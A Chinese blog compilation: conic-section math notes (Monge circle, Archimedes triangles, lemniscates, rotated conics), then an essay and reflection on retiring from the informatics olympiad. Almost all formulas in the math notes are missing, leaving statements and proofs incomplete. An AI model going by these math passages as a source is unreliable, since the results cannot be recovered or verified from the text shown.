简单来说就是对一个图形进行平移、缩放（整体缩放/方向缩放）、旋转等变换。例如椭圆，我们可以仅在轴方向上缩放，将椭圆上点的横坐标全部除以，可以得到一个圆。

仿射变换前后，原图形/若干相关图形有几个不变的量/关系：

共线性：共线的若干点在变换后仍共线
平行性：两平行直线在变换后仍平行
等比性：某线段上的点将该线段分为长度的两条线段，变换后该点分得的两线段长之比仍为

第一条性质是明显的；对于第二条、第三条，我们可以借用物理的正交分解思想来解决：在原平行直线上各取两点，算出斜率，变换后两直线的斜率均为，因此它们仍然平行。第三条采用相同的方法也可以证。

从上面三条基本性质可以进一步推出——当仿射变换的内容是将图形在轴方向伸长倍，在轴方向伸长倍时，新图形的面积将是原图形的倍。最好的例子就是椭圆的面积公式，因为它可看做圆在方向伸长倍、在方向伸长倍的结果。

但是，某线段在经过仿射变换后，其长度并非简单满足“按比缩放”的关系。这点可以借用物理的正交分解思想来证明：假如一条线段，在轴方向各伸长倍，如下图（）。

原线段长度为，变换后为。二者之间并非与线性相关。正交分解可得两直线长度关系满足，二者没有简单的线性关系。根据前文，椭圆可从圆变换而来，在圆上取极小的一段弧，近似把它看做一条极小长度的线段，它变换后的长度与原长并非简单线性关系，因而椭圆周长与该圆周长无简单关系——这在一定程度上可以说明不存在用初等函数表示的椭圆周长公式（近似公式不算）。

利用仿射变换，我们可以轻松证得蒙日圆中部分面积相关问题的二级结论。

蒙日圆#

圆锥曲线上任意两条互相垂直的切线焦点的轨迹组成了一个圆，称作蒙日圆【又称外准圆（对于椭圆）、内准圆（对于双曲线）】。椭圆的蒙日圆为。如下图：

双曲线的蒙日圆为，仅在时成立，如下图：

抛物线的蒙日圆为其准线。证明见后文“阿基米德三角形——几何性质其三”小节。

圆亦有其蒙日圆，解析式与椭圆相同，可看做椭圆在时的特殊情况。

一般来说，椭圆的蒙日圆考察较多，而双曲线较少，本章着重介绍椭圆的情况。

若无特殊说明，圆锥曲线的两切线交于，且与圆锥曲线分别交于点和，与蒙日圆分别交于点和。

轨迹方程（解析法）#

椭圆的蒙日圆方程为；双曲线的蒙日圆方程为（）。

评析：双曲线和椭圆是一体两面，因此这里只介绍椭圆的相关证明。

证明：

切线斜率不存在时，，显然在圆上。

切线斜率存在时，设，则根据垂直关系有。

联立与椭圆方程，并根据相切关系得：

同理可得。

联立两直线方程得到，此时。因此在圆上。

证毕。

轨迹方程（几何法）#

该方法由一位与我同班的数竞大佬提供。证明相关辅助线如下图：

证明：

点向椭圆引两条垂直切线，切点分别为。作两焦点关于的对称点。如图连接线段。

由椭圆光学性质可得，三点共线；三点共线。又有对称关系，可得，从而有。

三边相等，据此判定。有。

同时减去公共角得，再根据对称关系，有。

已知，那么。

在有公共边的两三角形中，有，根据余弦定理有：

证毕。

几何性质其一#

蒙日圆上一点引出的两条切线交蒙日圆于两点，直线过原点。

评析：无

证明：

根据圆内直径所对的圆周角恒为直角的关系，可得为蒙日圆直径，即三点共线、过原点。

证毕。

广义垂径定理#

为蒙日圆上一点，过作椭圆的两条切线，切点为，连接，则。

评析：利用圆锥曲线的切点弦方程即可快速解决。

证明：

令，那么。根据圆锥曲线的切点弦公式，得到切点弦，得到。相乘即得结果。

证毕。

拓展变形：椭圆交点所在坐标轴变化后仍然会变成。同时根据结果和中点弦公式可以得知与的交点为中点。

几何性质其二#

蒙日圆上一点向椭圆引两条切线和，交椭圆于，交蒙日圆于，交于点，有。

评析：利用几何关系进行证明。前置是上面的广义垂径定理和几何性质一。

证明：

根据蒙日圆，得到顶角。根据上面广义垂径定理得到的为中点的关系，结合直角三角形斜边上的中线定理，可以得到，所以。同样在大直角三角形中类似地又有，因此。同位角相等，两直线平行。

证毕。

拓展变形：根据这条性质，广义垂径定理可以推广成。

几何性质其三#

从蒙日圆上一点向椭圆引两条切线，切点为。那么。

评析：运用切线公式和已知的垂直条件快速解题。

证明：

令，则根据切线公式得，斜率为，乘积为。同理可以证得。

综合以上两式，得，根据蒙日圆的切线垂直条件，得到。

证毕。

蒙日圆三角形相关（仿射变换）#

在外准圆中：的面积最大为，最小为；的面积最大为，最小为。

评析：由于仿射变换对图形面积的改变是简单的倍数关系，我们将难以计算的椭圆变成圆，再利用圆的切线相关性质定理，即可大大简化计算量。

证明：

假设椭圆，有蒙日圆。不妨设，那么将所有点的坐标乘以。得到圆和竖椭圆。如下图：

由图可得。根据切线长定理有，且。

那么。现证明存在使得。由图易知的最值分别在和时取。现证明。

最大时，因为为竖椭圆，那么。根据对称性，。那么一定存在，使得。不难发现，此时两切线平行于坐标轴。

由图可知，那么。

因此，

根据仿射变换，原面积，得。

由对称性，。它们同取最大/最小值，代入角度可得。

证毕。

阿基米德三角形#

抛物线的某条弦，过的两条抛物线的切线相交于点，三角形称作这个抛物线的阿基米德三角形。如下图：

和都是这个抛物线的阿基米德三角形。

若无特殊说明，本章中的抛物线均指代抛物线。

几何性质其一#

阿基米德三角形在抛物线上的弦的中点为，那么该弦所对的顶点满足。

评析：巧妙运用切线方程解决问题。

证明：

令弦的端点，点在抛物线上得。根据切线方程得，同理得，联立解得交点。中点得，得到。

证毕。

几何性质其二#

当阿基米德三角形在抛物线上的弦过定点时，该弦所对顶点的运动轨迹为。

评析：利用切点弦公式，或者是几何性质一可以证明。此处选用几何性质一进行证明。

证明：

令底边，根据几何性质一得顶点。因为定点在上，应有，即：

因此在直线上。

证毕。

拓展变形：此结论的推论有——当底边过焦点时，顶点的轨迹为抛物线准线；底边过轴定点时，顶点轨迹为直线。

几何性质其三#

当阿基米德三角形的底边过焦点时，阿基米德三角形的顶角为，即。

评析：可以借助几何性质一来快速解决。

证明：

令，由几何性质一可得。两切线斜率之积为：

最后联系到抛物线焦点弦定理中（设直线代入韦达定理得出）可以得到斜率之积为，即两直线垂直。

证毕。

几何性质其四#

在阿基米德三角形中，恒有。

评析：几何法搭配解析几何解题较为快速。

证明：

过分别作准线的垂线，垂足为，连接，，如下图：

令，根据切线公式可得，得到斜率。由垂直得，因此斜率为，乘积为，有。

在抛物线中，有，根据直角三角形 HL 型全等得，进而有；再次可 SAS 证得。

仿照上述全等推导可证得。那么。

根据几何性质一可得，，就有，，因此，进而得到。

证毕。

几何性质其五#

在阿基米德三角形中，有。

评析：根据性质一得出的点的坐标代入计算即可验证。

证明：

根据性质一可得，距离公式可得。

同时，在抛物线中满足；同理有。相乘：

证毕。

几何性质其六#

底边长为的阿基米德三角形的面积最大值为。

评析：利用三角形面积等于底乘高除以二，再对高的长度进行放缩即可。

证明：

如图：为在边上的高，为中点。令。

易知，在时等号成立。。

根据性质一，，，。

此时，当且仅当时取得等号。

证毕。

非对称韦达定理#

非对称韦达定理主要用来处理二次方程根的非对称表达式，将其化简为可应用一般韦达定理，或直接得到常数形式。它经常出现在圆锥曲线焦点弦线段长成比例相关问题的计算过程中。

本章将着重介绍非对称韦达的几种常用处理方法。

和积转化#

Tip

该方法主要适用于（乘积项）与（一次项）同时出现的分式的求解

我们假设有一直线和圆锥曲线，联立二者可得：

韦达定理得：

可以得到。当处理含和项的式子时可以代换其一，例如计算的值：

倒数相加#

Tip

该方法主要适用于形如（或）的比值关系的求解

倒数相加，顾名思义。假设现有关系，那么，我们计算，如下化简：

代入韦达定理求解即可。

待定系数法#

Tip

该方法主要适用于形如的线性非对称等式

这个式子类似数列问题中的递推式反解通项公式。我们用待定系数法配凑等比型通项公式：

做到这一步，其实就和上一节“倒数相加”相合了。换元并进行化简即可。

极点极线#

极点极线定义

过不在二次曲线上一点作直线交二次曲线于两点。那么直线上仅存在一点，使得成立。当运动时，对应的运动轨迹为一直线，则称为关于二次曲线的极点、为关于二次曲线的极线。特殊地，在二次曲线上时，其极线为二次曲线在处的切线。

对于涉及极点极线的题目，我们可以取巧：先根据结论猜出结论（定点坐标/定直线方程），再证明符合题设条件，即所谓“先猜后证”。

解析式#

对应的极线方程为圆锥曲线关于点的切点弦。

评析：可以利用极限法思想：当两点几近于重合时（点也几乎与重合），直线趋近于圆锥曲线的一个切线，趋近于切点，两切线的切点连线即为切点弦。也可利用代数法。

证明：

设。由定义，可得。

因为四点在一条直线上，横纵坐标均有比值关系：

因为在圆锥曲线上，假设是椭圆，那么：

用点差法的思想，两式相减得。

代换和为和，可得方程。那么在直线上，即对应的切点弦上。

证毕。

新定义曲线#

目前的新定义曲线着重于对现有圆锥曲线定义的扩展。我们熟知的椭圆、双曲线分别用动点到两定点（焦点）的距离之和/差（的绝对值）来定义，那么我们可以将和、差拓展成积（卡西尼卵形线）、甚至商（阿氏圆）；也可类比第二定义，构造了定点到定直线（准线）与定点（焦点）距离之积为定值的绳结线（2024 新 I 卷 T11）；有的形状类似于四叶草；或者更换距离定义（曼哈顿椭圆）等等。本章将对部分常见的新定义曲线进行探讨。

伯努利双纽线#

平面内一点到相距的两定点的距离之积为定值的曲线叫做伯努利双纽线（简称双纽线）。若两定点在轴，其解析式为；若两定点在轴上则为。它是卡西尼卵形线时的特殊情况。

伯努利双纽线的图像如下：

轨迹方程#

评析：设点计算。

解：

令，，可得：

拓展变形：定点在轴上时同理。

顶点极值#

双纽线上下四个顶点为。

评析：可利用二次方程判别式，来求解其极值。

证明：

令直线，联立得。根据图像对称性可知，若交点存在，则必为一对或两对绝对值相等的值。用二次项换元四次项得，整理得

换元后的方程仅有一个实根，则，即：

反解得此时横坐标为，即曲线的上顶点为。同时不难发现其左右顶点为。

证毕。

整点#

在双纽线上，且横纵坐标均为整数的点叫做整点。

评析：首先根据上面给出的方法计算出顶点极值，接着在整数范围内套公式计算。

例如章头给出的双纽线，结合上一节算出横纵坐标的取值范围。由于的范围较小，枚举方便些。时，在图像上，只有符合要求；时，解方程，换元可得，开根不可能得出整数。枚举完毕，整点仅。

不要忘记原点也在这个图像上。

（拓展）卡西尼卵形线#

平面内一定点到相距的两定点的距离之积为定值的曲线叫做卡西尼卵形线。若两定点在轴，其解析式为；若两定点在轴，其解析式为。

设，下图为卡西尼卵形线在变化时的函数图像：

图源数学百科

现证明其轨迹方程：

假设两定点。按照定义，有：

证毕。

曼哈顿椭圆#

曼哈顿距离，又称出租车距离、L1 距离等。是指两点沿坐标轴方向距离的和，即对于两点，它们的曼哈顿距离定义为。早期的屏幕像素点相关计算常用到该定义，在机器学习、路径规划中亦有应用。
曼哈顿椭圆定义为：动点与两定点（焦点）的曼哈顿距离之和为定值的动点轨迹。标准方程为（）。
曼哈顿椭圆的图像如下：

几何性质#

（标准型）曼哈顿椭圆同时关于轴对称、且为中心对称图形。

证明：

根据标准方程。用替换得，等价于原方程，因此它关于轴对称，同时也易证它关于轴对称。

要证它是中心对称图形，用代替、代替得，也等价于原方程，因此它关于原点对称。

证毕。

绘图#

曼哈顿椭圆表现为两平行线与两箭头拼接而成的封闭图形（见章头图）。两平行线均与两焦点连线平行，长度等于焦距。末端为两斜线，与平行线成角并相交于一点。

证明：

假设两焦点在轴上。那么标准方程为，去绝对值。

当时，方程化为。当时，为直线；时为直线，易知相交于点，且与坐标轴成角。

当时，方程化为，为直线和直线。易知他们平行，且同时平行于轴，与成角。

根据对称性（轴），的情况同上可证。

证毕。

周长 & 面积#

曼哈顿椭圆的周长为；面积为。

证明：

借用上一节“绘图”的结论，可知两平行线长度共为，对箭头部分求周长也很容易，为。相加得图形周长。

先对部分求面积，易知为；再对箭头部分求面积为，相加得图形面积。

证毕。

绳结线#

绳结线定义为：动点到定直线与定点的距离之积为定值的动点轨迹。方程为。

绘图#

绳结线渐进于定直线，分布于两侧。当时图形自相交于原点；时图形分布在三处；时图形仅分布在两部分。
三种绳结线的图像如下，蓝色、红色、土黄色（距直线最近、次近、最远）的曲线分别为的情况。

由于 GeoGebra 的精确性问题，图像在部分区域有截断，实际图像是连续的

顶点极值#

时绳结线的左右端点分别为和；时三个端点从左到右分别为；时四个端点从左到右分别为。

评析：记住亦可，但掌握计算方法为上。

证明：

先证明的情况，此时图形有两个端点，将赋值为得：

四次方程看似解不来，但注意到方程只含四次项、二次项和常数项，那么换元。得到方程，得到：

因此可根据的相对大小得到解的个数：当时，的两个解都大于，那么就有四个取值，其他情况同理。

因而可得端点解集：

证毕。

反比例放缩#

绳结线右半支上一点（）满足，当且仅当时取等；若在左半支（），满足，且取不到等号。

评析：利用不等式放缩解决，本结论来源于 2024 年新 I 卷 T11 D 选项。

证明：

讨论右支的情况，此时：

绳结线，化简方程可得，可得，当且仅当时等号成立。

讨论左支的情况，此时：

绳结线，化简方程可得，可得，根据定义域可知取不到等号。

证毕。

带旋圆锥曲线 / 非标准型圆锥曲线#

旋转变换#

点绕原点逆时针旋转角后的新坐标为，顺时针旋转角后的新坐标为。

评析：如果你了解线性变换的相关知识，你就会知道这其实是乘旋转矩阵得到的结果。但如果你不知道，我们可以不用线性代数知识，现场推导一番。

证明：

令，假设与轴正半轴所成角为，那么，整理得。由几何关系和旋转可得，。以推导为例：

同理可得，再如上算出点坐标，即证得成立。

证毕。

拓展变形：

如何将这一点运用到圆锥曲线上来呢？我们根据这个原理，联想到圆锥曲线的旋转本质上是将曲线上每一个点都做旋转变换，每个点的横纵坐标变换都满足如上规则。因此如果将圆锥曲线写成一个函数形式，那么对应的逆时针旋转就是将函数变为，顺时针同理。

当然，旋转后的圆锥曲线与原圆锥曲线的形状是相同的。这意味着圆锥曲线的离心率等由其本身形状所决定的量不会发生改变，但是垂径定理、圆周定理将不再适用。

解平移#

当某个非标准型圆锥曲线的解析式不含项，却出现了这样的一次项。我们可以通过配凑完全平方式来快速知道这个圆锥曲线是如何平移得到的。

联系三角函数图像的相关知识，的图像过原点，而则可看做整体向左平移得到。类比这点，依然将变换后的圆锥曲线（以椭圆为例）看做特殊的方程，那么就是把这个曲线向左平移再向上平移得到。类比这点，依然将变换后的圆锥曲线（以椭圆为例）看做特殊的方程

据此，假设现在有一个方程，这个方程的图像如何绘制？进行配凑：

易知该圆锥曲线为向左平移，向下平移得到。

除开专门的圆锥曲线大题，圆锥曲线，尤其是非标准型的圆锥曲线，往往会在你意想不到的地方出现。例如 2024 年天津卷填空压轴：

若函数恰有一个零点，则的取值范围为？

很多人此时会想移项平方以消去根号和绝对值，而忽略了一个东西，那就是根号项，它可以处理成一个函数图像：

它是一个平移的双曲线，并且考虑到平方根的性质，它是该双曲线在时的图像。此时题目变为函数图像的交点个数问题，按照去绝对值符号的方法解题即可。

解旋转#

当某个非标准型圆锥曲线的解析式中含有项，就遇到一个很棘手的问题——这个圆锥曲线是经过旋转变换得到的。联系到先前所讲的旋转变换，我们是否要把式子中全部换成一大堆带有三角函数的新式子？答案是：或许可行，但在你解出来之前考试已经结束了。此处介绍两种解旋转的方法。

法一图像性质#

以方才结束的（以撰写此节的日期 2025 年 12 月 27 日为准）2025 年成都一诊多选压轴为例：

2025 年成都市高中毕业班第一次诊断性考试 T11

首先你需要相信出题人，要告诉自己这个（高考）是面向全国中学生的招生性考试，所以这个旋转变换多半是特殊的。我们仍然把第一个式子看做一个方程。这个式子不含一次项，我们很开心，因为这意味着与是等价的，运用到图像性质上来就是这个方程图像关于直线对称。做到这里这题就可以结合图像，同时运用基本不等式知识得到答案了。

假如你想知道它是由哪个曲线旋转得到，可以选择用旋转变换来把它变回标准型圆锥曲线，即用（）代替，代替解得。

法二特征值#

如果函数不满足的关系，那么恭喜你，你遇见了一个十分核蔼可氢的出题人。此时可以通过一个普适性的方法来解这个函数的旋转情况。

值得注意的是，这种非的旋转基本只会出现在双曲线中。为什么呢？因为双曲线存在“渐近线”这一特殊的设定，可以免去二次曲线复杂的计算，为考生在绝望中提供一线生机。正如双曲线章节开头所说：“渐近线方程的证明几乎就是取极限值”，对于选填题可以直接代入求解。本节以保定市四校联考填空压轴为例：

河北省保定市四校联考 2025-2026 学年高三上期 9 月月考数学试卷 T14

答案的做法是解出两个渐近线，首先代入，所有分母含的项均看做，解得渐近线；再代入，注意到唯有时成立，可得渐近线（轴）。

根据旋转，两渐近线夹角与双曲线标准量依然满足。那么解得，离心率。

接下来讲解特征值做法：

对于一般型二次曲线方程，欲解其旋转情况，暂时保留重要部分：二次项和交叉项，并分离得。构造以下二次型：

矩阵乘法相关运算法则见此。

接下来求解的特征值。对于矩阵，定义两个量（若为其他规模的矩阵则该规律不成立）。该矩阵有两个特征值，满足：

解得：

接下来任取一个特征值，例如，让的主对角线元素全部减去它，得到：

此时，的两列/两行向量共线，合并为一个。把向量换成单位向量，与标准坐标轴或之间的夹角的余弦值就容易得到了。再用旋转变换的公式可得标准型圆锥曲线方程。

以该题为例，构造矩阵得，求得特征值，用去减，。

提取，转为单位向量。与轴夹角。旋转回去得标准方程，。

竞赛赋（并序）

Sat, 04 Jan 2025 14:21:49 GMT

竞赛赋#

甲辰冬月十四，余与诸生从师外出而行退役之礼，相谈甚悦。然颇感竞赛之事，乐中生涩，戚然惋叹；念生涯一载悲喜，情涌而溢；视后生善学能思，审而后行，赞意不止；望东辰瘴晦毕见，择才尽废，不知所言。凡喜、憾、恸、诽四情深切，欲却之而不遂。是故致志此篇，以为竞赛辞藻之绝笔作也。

言及竞赛，虽曰迁升保送之至道，然余竟不敢苟同。私以为竞赛者，千军悬战于独木也。独木易泮，杂兵劣骑亦与之坠矣。保送之言诚矣，然略其艰；迁升之论亦真，然省其苦。凡数、理、化、生、信五子者，皆非易得。

数者演天地之行，物者究万物之理，化者点土石为金，生者析命之臧否。数者，以理析物也——天下之行、至微之动、未元之形，皆可以数毕覆之；物者，涵巨细之动也——星运光转、浪沫浮沉、温冻之候，尽演之于纸上；化者，辟物于太虚也——气相氤氲、水溢四隅、固其金银，皆自石出；生者，探命之源也——阴阳演序、搏脉送血、肺之张翕，可以示也。

至于信者，思辨操纵之术也——智高者盖败于机器之操纵，善纵者或溃于思智，岂非此理耶？故欲工于信竞者，先致足智、兼修操纵；致智需己有材，平日愈精之；操纵者，勤练则几可成之。微此二者，安闻先人竞赛之盛迹？由此观之，智得纵明，可工也。

竞赛之徒，作业之患常有。二者兼善，诚神人也。然诸生终非神人，语数外物化生之择常有。余以为，舍物而保数、去生而存化、屏英而就语，实为至道。物理者，数之枝节也，近节而离根，非智也；生物者，化学之于命理也，趋小而舍大，非明也；英语者，蛮夷之语也，不通国语，何谈精之？且数、理、化、生四科，竞赛所学足可书之少顷之间，或暂略之。然信息未于常规之列，因之亦有效。

余入赛一岁有余，数理化信四赛为塾凡三十余者。省一仅一，省二、三，兼以未获者若干。或曰：“为学若久，宜多一等，颓靡至此，以君之材，岂非异耶？”此言诚然，然东辰异地，淆或主次。明言竞赛之重，暗则弃赛应试。生徒苦之，然上不顾，求之兼善，颠也。所谓师者，非尽其则，有甚者全然不顾，倚偶然之功，傲极忘本。虽曰“师不必贤于弟子”，然其不解人惑、坑骗以圈民财、要誉而损生徒。师者若此，宜唾之且袪之若攻疾者然。

缘竞赛成败，固出于人，然物况不可尽略也。修身之识，次配以周身之净，并贤师、同辈高才者，得胜之基备矣。若空持其才，顾无律己之念，终荒废其业，出头难矣；若有才克己，然遇无良念之师，私欲害人，出头亦难矣。审吾辈三十者，岂非此二类耶？

译文#

（公历）2024 年 12 月 14 日，我和各位（信息）竞赛生外出参加退役仪式，交谈十分愉快。然而我对竞赛之事感触颇深，快乐中生出苦涩之情，感伤地叹惋；想起竞赛一年来的悲伤与喜悦，情感翻涌而满溢；看到下一届竞赛生善于学习、能思考，审视清楚（情形）后才行动，（我的）赞美之意不绝；看到东辰肮脏丑陋的一面全部显现，挑选出的有才之人全被东辰所浪费，不知道该说些什么。综合喜悦、感慨、悲伤、怨悱四种深切的情感，（我）想要除去这些情感却没能成功。因此在这篇文章中表达自己的意志，把它作为竞赛生涯中的绝笔之作。

说到竞赛，虽然说它是降分保送大学的最好方式，然而我最终也不敢苟且同意。我认为竞赛就像是千军万马在独木桥上交战。独木桥容易断裂，杂兵和劣马都与它一起坠落（到深渊）。（说竞赛能）保送的话确实是真的，然而却省略了它的艰难；降分录取的话也是真的，然而省略了它的艰苦。数理化生信息这五个竞赛，（保送或降分录取）都是难以达到的。

数学竞赛推演天地的运行，物理竞赛研究万物的道理，化学竞赛将土石变成黄金，生物竞赛分析生命的福祸。数竞是用道理分析物体（的竞赛）——世界的运行、微小物体的运动、从未出现的形态，全都可以用数字覆盖；物竞涵盖了极大和极小物体的运动——星辰和光线的运动与流转、海浪浮沫的沉降浮起、温暖和冰冻的气候，都能在纸上推演出来；化竞从虚空中开辟新的物质——气体弥漫、液体四下溢出、金银的坚固，都能从石头中（显现）出来；生竞探索生命的起源——阴阳按次序运转，血脉搏动送出血液、肺的一张一合，都可以展示出来。

到了信竞，（它）是思维和操纵的技术——有智力的人可能在操作机器的方面失败，善于操作的人也可能在思维方面输给别人，难道不是这个道理吗？因此想要在信息竞赛方面取得成效，先要获得足够的知识、同时训练操纵；获得知识需要自己有一定天赋，平常（在练习中）更加精进；操纵的技巧勤于练习就可以几乎精通。如果没有这两点，从哪里听说学长竞赛的盛大事迹呢？由此可见，知识和操纵都通晓，就可以（在这方面）有成效。

我参加竞赛已经一年多了，数理化信息四科竞赛的学生组成的共三十多人的班级。仅有一个省一等奖，省二等奖、三等奖，以及没获奖的人有很多。有人说：“（你们）学了（竞赛）这么久，应该有很多一等奖，像这样萎靡不振，按照你们的才能，难道不会让人感到奇怪吗？”这话说对了，然而身处东辰这样的怪地方，（东辰）混淆主次。表面上说竞赛的重要，私下里又舍弃竞赛（让竞赛生）去（复习）考试。老师和学生对此都很苦恼，然而上级领导不管这些，要求学生（竞赛和常规课）都好，是糊涂（的行为）。那些所谓的“竞赛教练”，没有尽职尽责，更有甚者完全不管学生，依靠偶然得来的功名，极其骄傲忘记了本职。虽然说“老师不一定要比学生贤明”，但是他解答不了疑惑、坑骗（家长）来圈集普通人的财产、为博取名誉而损害老师和学生的利益。像这样的教练，应该唾弃并且像治病那样祛除他。

追寻竞赛成败（的根本原因），固然出自于学生本人，然而客观环境也不能完全忽略。修养自身的学识，接下来搭配环境的清净健康，加上贤明的教练、有才能的同学，取得成绩的基础就完备了。如果只有才能，却没有自律的观念，最终只会荒废竞赛学业，很难出成绩；如果有才能、并且能自我约束，然而遇见没有好念头的教练，（他的）私欲祸害学生，也很难出成绩。再来审视我们这三十多个竞赛生，难道不是因为这两种情况（才没出成绩）吗？

望君莫守旧时憾，焦原春来又青青

Sat, 14 Dec 2024 06:47:39 GMT

序#

——《〈竞赛赋〉序》

选择信息竞赛，无非是我先前在计算机方面有一定基础（并非算法方面）、同时有一部分原因是学校和老师，后者具体表现在年级单独开设竞赛班、并安排最好的师资力量进行常规课教学。正是看中了后者，尽管错过了九年级下与高一上期衔接的暑假集训和竞赛班报名，我最终还是和已经做了两年同班同学的 @Brilliant11001（XYF）；九年级的同班同学 @HYLW（WWH）；九年级虽然不在同一个班但是也经常一起混的 @Stairs_upon_temple（GZ）；还有一个外校招过来的平行班竞赛大佬 @Aventurine_stone（YYC）进入了高 2023 届信息竞赛队，并与高 2022 届的学长相识。虽然认识时间短暂，但是凭着两届九人强大的自来熟能力（主要还是 GZ 极大拉进我们之前的关系），我们很快打成了一片。在此先对高 2022 届的信息竞赛生表示衷心祝愿（高考得胜、未来可期），于下照次列出他们的洛谷账号：

起#

言至竞赛，虽曰迁升保送之至道，然余竟不敢苟同。私以为竞赛者，千军悬战于独木也。独木易泮，杂兵劣骑亦与之坠矣。保送之言诚矣，然略其艰；迁升之论亦真，然省其苦。凡数、理、化、生、信五子者，皆非易得。数者演天地之行，物者究万物之理，化者点土石为金，生者析命之臧否。信者，思辨操纵之术也——智高者盖败于机器之操纵，善纵者或溃于思智，岂非此理耶？故欲工于信竞者，先致足智、兼修操纵；致智需己有材，平日愈精之；操纵者，勤练则几可成之。微此二者，安闻先人竞赛之盛迹？由此观之，智得纵明，可工也。

——《竞赛赋》

相信大家学竞赛，多多少少也是受了“竞赛保送/降分/少年班论”的影响（纯热爱党请忽略之）。但是，残酷的事实又会迎头给你来上一记闷棒。保送的难度有多大想必不用多说，尤其是身处强省、却缺少较为系统化的竞赛训练体系的同学们，可能学了几年，还是入不得省队、甚至省一等也没得到。最终也只得是空乏其身、（竞赛生涯）郁郁而终。此外，不难发现，五大学科竞赛只有信息技术是不属于高考科目的，也就是说信息竞赛对文化课的帮助几乎为零……因此，在最终选择踏入这条路前，好好掂量轻重得失、必要时可以选择退赛及时止损。但假若你真的踏入了这条残酷的赛道、并决定坚持走下去，那就尽自己所能、勿要留下任何遗憾。

如《竞赛赋》所言，学习信息竞赛、并取得佳绩，起决定性作用的两个因素是“思辨”与“操纵”。前者不必多说，即拥有强大的竞赛思维，当然也包含敏锐的题目直觉；后者则泛指包括敲代码、调试等人机交互方面的事情。对于思维，具备一定的天赋是很吃香的，这代表你可以在比别人更高的起点开始、用更迅捷的步伐前进；而操纵这块，多加练习就几乎能够达到理想效果。

就本届（2023 届）竞赛生来讲，YYC 和 XYF 的思维较强，在操纵方面也毫不逊色；GZ 在思维方面有时存在瑕疵，但整体来说不影响解决题目，只是有时会忽略细节（例如 2023 年 NOIp 他就因为没打 return 0 结果总分直接返回零，详情请见记录1和记录2）；WWH 和我基本没啥思维，这导致只要是套路不明显的题目，我们基本上都会挂，于是我们空留一个会打字的表面功夫。WWH 本人倒是比较擅长动态规划，而且不断在冒出新点子，思维活跃度是在线的。我本人则是思维完全不足，每次都是最后发题解才感慨自己的不足。思维题已经在信竞占据了主导地位，希望下一届的同学们一定要好好提升自己的思维，如果天赋较差，那就尽可能多去用练习填补；同时提升自己的代码能力，这样一来对竞赛将有巨大帮助。

承#

起初神创造 NOIp 2024。In the beginning God created NOIp 2024

NOIp 2024 是空虚混沌。渊面黑暗。神的灵运行在考纲上。And NOIp was without form, and void; and darkness was upon the face of the deep. And the spirit of God moved upon the face of the syllabus

神说，要有贪心，就有了贪心。And God said, Let there be greedy; and there was greedy.

神看贪心是显然易证的，就把动规贪心分开了And God saw the greedy, that it was apparently easy; and God divided the greedy from DP.

神称贪心为 T1，称动规为 T2。有 T1，有 T2，这是头两题。And God edited greedy as T1, and the DP he assigned as T2. And “edit” and the “assign” were the first two problems.

神说，四道题要能区分，将题分为签到和难题。And God said, Let NOIp be selective, and let it divide from the easiest and the easier.

神造就出容斥，将容斥以前的签到题，容斥以后的难题分开了。事就这样成了。And God made T3, and divided the problems which were ahead of T3 and which were behind T3: and it was so.

神称容斥为 T3。有T1 T2、有T3，是前三题。And God called T3 “traverse”. And the T1, T2 and T3 were the top three problems.

神说，天下的数据结构要汇集在 T4，使队爷露出来。事就这样成了。And God said, Let T4 be gathered together with data structures, and let the genius appear: and it was so.

神称前三题省一题，称数据结构的聚处为树上查询。神看是好的。And God called T1 T2 T3 basics; and the gathering together of the data structures “query”; and God saw that it was good.

神说，得奖率要发生降落，和提升的省一线，并上涨的省二线，各从其类，竞赛都难着点。事就这样成了。And God said, Let the award be less, the first award increasing points, the second award ascending lines after his kind, which difficulty is damnly high; and it was so.

于是得奖率降了，和省一省二线提升，各从其类，竞赛变难了。神看着是好的And the award was less, lines got increased after his kind, which difficulty is damnly high; and God saw that it was good.

有四题，有得奖率，是 NOIp 2024And the four problems and the award were the NOIp 2024.

——《创 NOIp 2024 记》

或许你已经知道了，高 2023 届的信竞生们迎头撞上了信息竞赛改革的第一年。CSP-S 提高组第一题的简单其实是一发大糖衣炮弹，意图让我们对 NOIp 2024 放松警戒，也被它得逞了……或许你已经从其他人那里听说，高 2023 届竞赛班的四人的总成绩只比外招竞赛生一人的成绩仅高 5 分……据完全统计，高 2023 届的最终成绩是一个四等加三个三等加一个二等……

我认为最可惜的是 Brilliant11001，他的努力有目共睹。在 CSP-S 力斩一等之后他便紧接着投入了冲击 NOIp 一等的复习当中。但是由于上文所述“贪心的显然”，他被 T1 卡住、影响了心态，最终没时间去想 T2。赛后还被小灵通骗了一手，直接从预估二等变成三等。尽管有些伤人（据 Brilliant11001 本人所说，他 emo 了一整晚），我还是要将同学写的一首小词放在下面，以表惋惜/劝勉意：

如梦令·岁末赠小又
现代槿泽
信竞两年无果，恋爱三载终空。把酒莫言欢，旧事不入新梦。一凡、一凡，前路尚且漫漫。

词中“一凡”是 Brilliant11001 的名，因押韵要求故未省略。

Aventurine_stone 的猜结论能力也是公认的强大，然而在杀掉 T1 T2 得到二百分后并没有能在后两题拿到一分。正当我们所有人以为 200 分已经足够省一时，现实又在用 220 这个数字狠狠扯去了这个念头。

我和 HYLW 自不必多说，菜就是菜，然而后者留得一手好 DP 思维在，T2 还是得了 15 分。最后一位可能是心态崩了没发挥好，不再赘述了。

从今年（2025）开始，信息竞赛预计将经历一轮难度上调。事实上，五大竞赛都在这两年陆续完成了改革，我有个化竞哥们告诉我，考试前四天才出的学术论文，考试时就作为考题出现了。由此可见：难度大是共性。而单针对于信息竞赛，则是下调的得奖率。信息竞赛可能再也不是你老师或者是营销号嘴里的“得奖容易”的竞赛了（估计要变成生物竞赛了），因此，对于想要或正在学习信息竞赛的后人，我的忠告是：三思而后行、审慎再审慎。

还有，千万不要在考试前住全季酒店，任何竞赛生都不要，否则全班全寄，亲测为真

合#

正文最后，我想用一首词来劝慰苦学 OI、收获却不尽人意的后辈们：

蝶恋花·退役后
鹰翔长空墨客吟，谁见峭壁，血淋雏鹰翼。佳俊归封狼居胥，败者隐去心戚戚。
草叶风过簌簌音，秋来烈火，空余灰与烬。望君莫守旧时憾，焦原春来又青青。

确实，只有先驱强人才会被铭记、失利隐退之人又为谁所传颂？我的班主任有时对我们说成都七中和成外的竞赛生有多么厉害、有多少人又被 985、211、C9 甚至清北提前录取，当然他的本意是想让我们好好学竞赛，有朝一日也能抓住这样的机会。但是面对那些竞赛强校出来的天赋型选手，我们连省一都很困难，更别说打进省队、甚至国赛了。

当然，说起我自己，整个竞赛生涯只获得了两个三等奖（平常互相打趣，说成六个一等奖）。有一首词是为我画像的，它说：

